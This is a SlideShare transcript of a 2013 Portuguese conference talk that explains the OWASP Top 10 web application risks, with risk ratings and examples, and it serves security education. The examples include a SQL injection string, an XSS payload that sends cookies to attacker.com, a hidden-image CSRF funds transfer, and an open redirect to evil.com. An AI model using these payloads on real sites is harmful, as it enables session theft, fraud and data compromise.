Segurança em Aplicações Web conforme OWASP
Upcoming SlideShare
Loading in...5
×
 

Segurança em Aplicações Web conforme OWASP

on

  • 1,569 views

Palestra feita no FISL14, dia 3 de julho de 2013

Palestra feita no FISL14, dia 3 de julho de 2013

Statistics

Views

Total Views
1,569
Views on SlideShare
1,568
Embed Views
1

Actions

Likes
5
Downloads
51
Comments
0

1 Embed 1

https://twitter.com 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Segurança em Aplicações Web conforme OWASP Segurança em Aplicações Web conforme OWASP Presentation Transcript

  • Segurança em aplicações web bit.ly/owasp-fisl14 1 Segurança em Aplicações Web conforme Fabiano Castro Pereira – fabianocp@gmail.com Apresentação disponível em http://bit.ly/owasp-fisl14
  • Segurança em aplicações web bit.ly/owasp-fisl14 2 OWASP – Open Web Application Security Project Comunidade aberta – www.owasp.org Ajudar a desenvolver/comprar/manter software seguro: Ferramentas e padrões abertos Livros gratuitos: desenvolvimento/testes/revisão seguros Bibliotecas e controles de segurança Realização de eventos Listas de e-mail Sem pressões comerciais Fundação OWASP
  • Segurança em aplicações web bit.ly/owasp-fisl14 3 OWASP - Projeto Top 10 Objetivo Problemas relativamente simples são intoleráveis Alertar sobre segurança de aplicativos web Apresentar os riscos críticos (entenda-se $$$) mais comuns Versões 2003 (pequenas atualizações em 2004 e 2007) 2010 (priorização feita de acordo com riscos) 2013 (versão final liberada 12 de junho) Mobile Security Project (em desenvolvimento)
  • Segurança em aplicações web bit.ly/owasp-fisl14 4 OWASP - Projeto Top 10 Atenção!!! OWASP Top 10 não é checklist É apenas o começo, é preciso criar um programa amplo para implantar uma cultura de segurança nas aplicações Think as an abuser!!! (pense como um aproveitador) Oportunidades Aprender com os erros dos outros Executivos: gerenciem os riscos inerentes às aplicações owasp-topten@lists.owasp.org
  • Segurança em aplicações web bit.ly/owasp-fisl14 5 Projeto Top 10 - Números Baseado em 8 datasets de 7 empresas especializadas 4 empresas de consultoria em segurança 3 empresas que produzem ferramentas de segurança Totalizando 500.000 registros de vulnerabilidades em Centenas de organizações Milhares de aplicações Escolha do Top 10 Selecionados e priorizados via avaliação destes milhares de dados, e a partir de estimativas obtidas via consenso
  • Segurança em aplicações web bit.ly/owasp-fisl14 6 Riscos de Segurança para Aplicações
  • Segurança em aplicações web bit.ly/owasp-fisl14 7 Riscos de Segurança para Aplicações OWASP Risk Rating Methodology – Elementos do risco Agentes de ameaça Depende da aplicação, cada organização deve avaliar e identificar os agentes que podem lhe oferecer ameaça Explorabilidade: Fácil / Média / Difícil Qual é a facilidade de se explorar a fraqueza associada a determinado risco? Prevalência: Largamente difundida / Comum / Incomum É comum encontrar a fraqueza associada ao risco?
  • Segurança em aplicações web bit.ly/owasp-fisl14 8 Riscos de Segurança para Aplicações OWASP Risk Rating Methodology – Elementos do risco Detectabilidade: Fácil / Média / Difícil É fácil detectar a fraqueza associada ao risco? Impactos técnicos: Grave / Moderado / Menor Qual o impacto técnico caso a fraqueza associada a determinado risco seja explorada? Impactos no negócio Depende da aplicação e do negócio da organização, que deve avaliar e identificar os impactos
  • Segurança em aplicações web bit.ly/owasp-fisl14 9 A1 - Injeção Elementos do risco Agente de ameaça Qualquer um que possa enviar dados não confiáveis Explorabilidade: Fácil Ataque realizado com texto forjado de forma específica Praticamente qualquer fonte de dados pode ser atacada Prevalência: Comum Encontrado em: consultas SQL, LDAP, Xpath, ou NoSQL; comandos de SO; parsers XML, cabeçalhos SMTP, argumentos de programas, etc.
  • Segurança em aplicações web bit.ly/owasp-fisl14 10 A1 - Injeção Elementos do risco Detectabilidade: Média Fácil de encontrar no código-fonte, mas difícil via teste Ferramentas tipo Scanners e fuzzers ajudam os atacantes Impacto: Grave Pode resultar em: perda ou corrupção de dados; negação de serviço; invasão total de um servidor. Impactos no negócio Como ficaria a reputação da empresa se todos de clientes fossem roubados, modificados ou excluídos?
  • Segurança em aplicações web bit.ly/owasp-fisl14 11 A1 - Injeção Exemplo (SQL Injection) Aplicação usa dados não confiáveis: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; Atacante modifica o parâmetro no browser http://app.com/app/accountView?id=' or '1'='1
  • Segurança em aplicações web bit.ly/owasp-fisl14 12 A2 - Falha de Autenticação e de Gerenciamento de Sessão Elementos do risco Agente de ameaça Qualquer um (anônimo ou possuidor de conta) que queira acessar indevidamente uma conta de usuário na aplicação Explorabilidade: Média Ataque utiliza falhas nas funções (contas expostas, senhas, ID de sessão) para se passar por determinado usuário Prevalência: Largamente difundida Encontrado em sistemas que construíram seus próprios mecanismos de autenticação
  • Segurança em aplicações web bit.ly/owasp-fisl14 13 A2 - Falha de Autenticação e de Gerenciamento de Sessão Elementos do risco Detectabilidade: Média Encontrar esta falha pode ser difícil, pois depende de uma análise da implementação específica Impacto: Grave O atacante pode fazer tudo que a conta atacada tem permissão para fazer Impactos no negócio Valor dos dados obtidos Exposição pública da vulnerabilidade na organização
  • Segurança em aplicações web bit.ly/owasp-fisl14 14 A2 - Falha de Autenticação e de Gerenciamento de Sessão Exemplo http://example.com/sale/saleitems;jsessionid= 2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii Se o link for enviado para alguém, a sessão completa do estará indo junto, dando acesso a dados sensíveis
  • Segurança em aplicações web bit.ly/owasp-fisl14 15 A3 - Injeção de scripts via outros sites (Cross-Site Scripting - XSS) Elementos do risco Agente de ameaça Qualquer um que possa enviar dados não confiáveis Explorabilidade: Média Ataque realizado com texto forjado de forma específica Praticamente qualquer fonte de dados pode ser atacada Prevalência: Muito largamente difundida Ocorre quando se exibe em uma página dados fornecidos pelo usuário, sem que se faça o correto tratamento
  • Segurança em aplicações web bit.ly/owasp-fisl14 16 A3 - Injeção de scripts via outros sites (Cross-Site Scripting - XSS) Elementos do risco Detectabilidade: Fácil Falha pode ser encontrada via análise de código, ou via testes Impacto: Moderado Ataque pode executar scripts no navegador para: obter sessões, manchar sites, instalar malware no navegador, etc. Impactos no negócio Valor dos dados obtidos Exposição pública da vulnerabilidade na organização
  • Segurança em aplicações web bit.ly/owasp-fisl14 17 A3 - Injeção de scripts via outros sites (Cross-Site Scripting - XSS) Exemplo Aplicação usa dados não validados para construir a página: (String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>"; Atacante modifica o parâmetro CC: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.
  • Segurança em aplicações web bit.ly/owasp-fisl14 18 A4 - Referência direta e insegura para objeto Elementos do risco Agente de ameaça Usuários que tem acesso parcial a dados do sistema Explorabilidade: Fácil Basta alterar um parâmetro que faça referência direta a um objeto do sistema Prevalência: Comum Aplicações web geralmente usam nomes os identificadores para fazer referência aos objetos Falham em verificar a autorização do acesso
  • Segurança em aplicações web bit.ly/owasp-fisl14 19 A4 - Referência direta e insegura para objeto Elementos do risco Detectabilidade: Fácil Falha pode ser encontrada via análise de código, ou via testes Impacto: Moderado Comprometimento dos dados acessados pela referência insegura, exceto se não houver como predizer os valores Impactos no negócio Valor dos dados obtidos Exposição pública da vulnerabilidade na organização
  • Segurança em aplicações web bit.ly/owasp-fisl14 20 A4 - Referência direta e insegura para objeto Exemplo Aplicação usa dados não validados para construir a página: String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , … ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( ); Atacante modifica o parâmetro acct: http://example.com/app/accountInfo?acct=notmyacct
  • Segurança em aplicações web bit.ly/owasp-fisl14 21 A5 - Configurações mal feitas de segurança Elementos do risco Agente de ameaça Atacantes anônimos, autenticados, ou internos Explorabilidade: Fácil Contas padrão, páginas sem uso, falhas sem patch, arquivos e diretórios desprotegidos, etc. Prevalência: Comum Pode ocorrer em vários níveis: plataforma, servidor web ou aplicação, BD, framework, código customizado
  • Segurança em aplicações web bit.ly/owasp-fisl14 22 A5 - Configurações mal feitas de segurança Elementos do risco Detectabilidade: Fácil Podem ser encontradas com scanners automatizados Impacto: Moderado Acesso a dados e funcionalidades não autorizadas Pode resultar em comprometimento total do sistema Impactos no negócio Dados roubados ou modificados Recuperação pode ser muito custosa
  • Segurança em aplicações web bit.ly/owasp-fisl14 23 A5 - Configurações mal feitas de segurança Exemplos Console administrativo do servidor de aplicação deixado com usuário e senha padrão Servidor web com listagem de diretório ativada desnecessariamente Exibição de stack traces no servidor de aplicação Servidor de aplicação mantido com aplicativos de exemplo
  • Segurança em aplicações web bit.ly/owasp-fisl14 24 A6 - Exposição de dados sensíveis Elementos do risco Agente de ameaça Qualquer um com interesse nos dados, estejam eles no servidor, sendo transmitidos, ou no navegador Explorabilidade: Difícil Atacantes não tentam quebrar criptografia, mas roubar chaves, ou obter os dados diretamente do servidor Prevalência: Incomum Ocorrências: falta de criptografia, chaves fracas, chaves mal gerenciadas, algoritmos de segurança obsoletos
  • Segurança em aplicações web bit.ly/owasp-fisl14 25 A6 - Exposição de dados sensíveis Elementos do risco Detectabilidade: Média Navegador: falha fácil de detectar, não de explorar (larga escala) Falhas no servidor: difíceis de detectar devido ao acesso limitado Impacto: Grave Acesso a dados sensíveis: registros médicos, credenciais, dados pessoais, cartões de crédito, etc. Impactos no negócio Quais são as penalidades legais aplicáveis à organização por ter exposto estes dados (mesmo involuntariamente)?
  • Segurança em aplicações web bit.ly/owasp-fisl14 26 A6 - Exposição de dados sensíveis Exemplos de ações inadequadas Usar criptografia automática do BD Armazenamento feito de forma segura Mas a leitura está sujeita à injeção de SQL Esquecer de utilizar SSL para comunicação Esquecer de “salgar” as senhas dos usuários Salted password hashes
  • Segurança em aplicações web bit.ly/owasp-fisl14 27 A7 - Ausência de controle de acesso no nível de função Elementos do risco Agente de ameaça Qualquer um com interesse nos dados Explorabilidade: Fácil Alterar URL ou parâmetro que dê acesso à funções privadas (atacante anônimo) ou privilegiadas (atacante autenticado) Prevalência: Comum Geralmente falta controle de acesso, e quando existe, está mal configurado, ou se esqueceu de colocá-lo no código
  • Segurança em aplicações web bit.ly/owasp-fisl14 28 A7 - Ausência de controle de acesso no nível de função Elementos do risco Detectabilidade: Média A detecção é fácil, a parte mais difícil é identificar todas as possíveis páginas (URLs) e funções atacáveis Impacto: Moderado Acesso a funções não autorizadas, principalmente se forem funções administrativas Impactos no negócio Valor dos dados obtidos Exposição pública da vulnerabilidade na organização
  • Segurança em aplicações web bit.ly/owasp-fisl14 29 A7 - Ausência de controle de acesso no nível de função Exemplos Função para usuário comum http://example.com/app/getappInfo Função para administradores http://example.com/app/admin_getappInfo Se não houver o controle de acesso, as funções administrativas serão acessadas indevidamente
  • Segurança em aplicações web bit.ly/owasp-fisl14 30 A8 - Requisições forjadas via outros sites (Cross-Site Request Forgery - CSRF) Elementos do risco Agente de ameaça Alguém que deseja forçar um usuário da aplicação a realizar determinada ação que beneficie o atacante Explorabilidade: Média Atacante forja a requisição e engana o usuário, fazendo-o enviá-la para a aplicação à partir de outro local Prevalência: Comum Sites que o atacante pode inferir os dados necessários Navegadores enviam os cookies de sessão automaticamente
  • Segurança em aplicações web bit.ly/owasp-fisl14 31 A8 - Requisições forjadas via outros sites (Cross-Site Request Forgery - CSRF) Elementos do risco Detectabilidade: Fácil A detecção é fácil, podendo ser feita tanto via testes de intrusão, quanto via análise de código Impacto: Moderado Pode resultar em: alteração de contas, realização de compras, e qualquer outra função existente na aplicação Impactos no negócio Imagine se não houver como ter certeza das ações do usuário Usuários reclamando de operações que eles não realizaram
  • Segurança em aplicações web bit.ly/owasp-fisl14 32 A8 - Requisições forjadas via outros sites (Cross-Site Request Forgery - CSRF) Exemplos Funcionalidade normal disponível na aplicação: http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243 Requisição forjada pelo atacante: <img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" />
  • Segurança em aplicações web bit.ly/owasp-fisl14 33 A9 - Uso de componentes com vulnerabilidades conhecidas Elementos do risco Agente de ameaça Interessados especificamente em determinada aplicação, dispostos a gastar tempo investigando as possibilidades Explorabilidade: Média Atacante usa procedimento manual, ou ferramentas de scan automático, para então customizar seu exploit Prevalência: Largamente difundida Muitos desenvolvedores não atualizam componentes, e às vezes nem sabem quais que são utilizados
  • Segurança em aplicações web bit.ly/owasp-fisl14 34 A9 - Uso de componentes com vulnerabilidades conhecidas Elementos do risco Detectabilidade: Difícil A detecção é difícil, pois envolve análise minuciosa Dependência entre componentes só piora as coisas Impacto: Moderado Pode servir de ponto de entrada para as outras fraquezas Impacto pode ir de zero até o comprometimento total Impactos no negócio Será de acordo com a fraqueza explorada
  • Segurança em aplicações web bit.ly/owasp-fisl14 35 A9 - Uso de componentes com vulnerabilidades conhecidas Exemplos (com 22 milhões de downloads em 2011) Apache CXF Authentication Bypass (CVE-2012-3451) Framework de serviços web Não fornecia token de identidade, permitindo a atacantes executar qualquer serviço com total permissão Spring Remote Code Execution (Infosecurity Magazine) Problemas na implementação de Expression Language (EL) Permitia execução de código arbitrário, chegando a comprometer completamente o servidor
  • Segurança em aplicações web bit.ly/owasp-fisl14 36 A10 - Redirecionamentos e encaminhamentos não validados Elementos do risco Agente de ameaça Alguém que deseja forçar um usuário da aplicação a realizar determinada ação que beneficie o atacante Explorabilidade: Média Atacante cria um link válido, mas direto, sem antes passar pelo redirecionamento ou encaminhamento necessário Prevalência: Incomum Destinos definidos via parâmetro sem validação
  • Segurança em aplicações web bit.ly/owasp-fisl14 37 A10 - Redirecionamentos e encaminhamentos não validados Elementos do risco Detectabilidade: Fácil Redirecionamentos não validados são fáceis de se detectar, porém os encaminhamentos são mais difíceis Impacto: Moderado Atacante pode: instalar malware, obter senhas ou outras informações sensíveis, burlar controle de acesso Impactos no negócio Perda da confiança dos usuários O que aconteceria se atacantes acessassem dados internos?
  • Segurança em aplicações web bit.ly/owasp-fisl14 38 A10 - Redirecionamentos e encaminhamentos não validados Exemplos Redirecionamento malicioso http://www.example.com/redirect.jsp?url=evil.com Encaminhamento malicioso http://www.example.com/boring.jsp?fwd=admin.jsp
  • Segurança em aplicações web bit.ly/owasp-fisl14 39 Tem mais coisa no Top 10 Ajuda Como verificar se minha aplicação é vulnerável? Como posso prevenir a ocorrência dos riscos? Referências para mais informações O que vem depois Para desenvolvedores Para verificadores (vai além de testes) Para organizações
  • Segurança em aplicações web bit.ly/owasp-fisl14 40 Fabiano Castro Pereira – fabianocp@gmail.com Apresentação disponível em http://bit.ly/owasp-fisl14 Perguntas?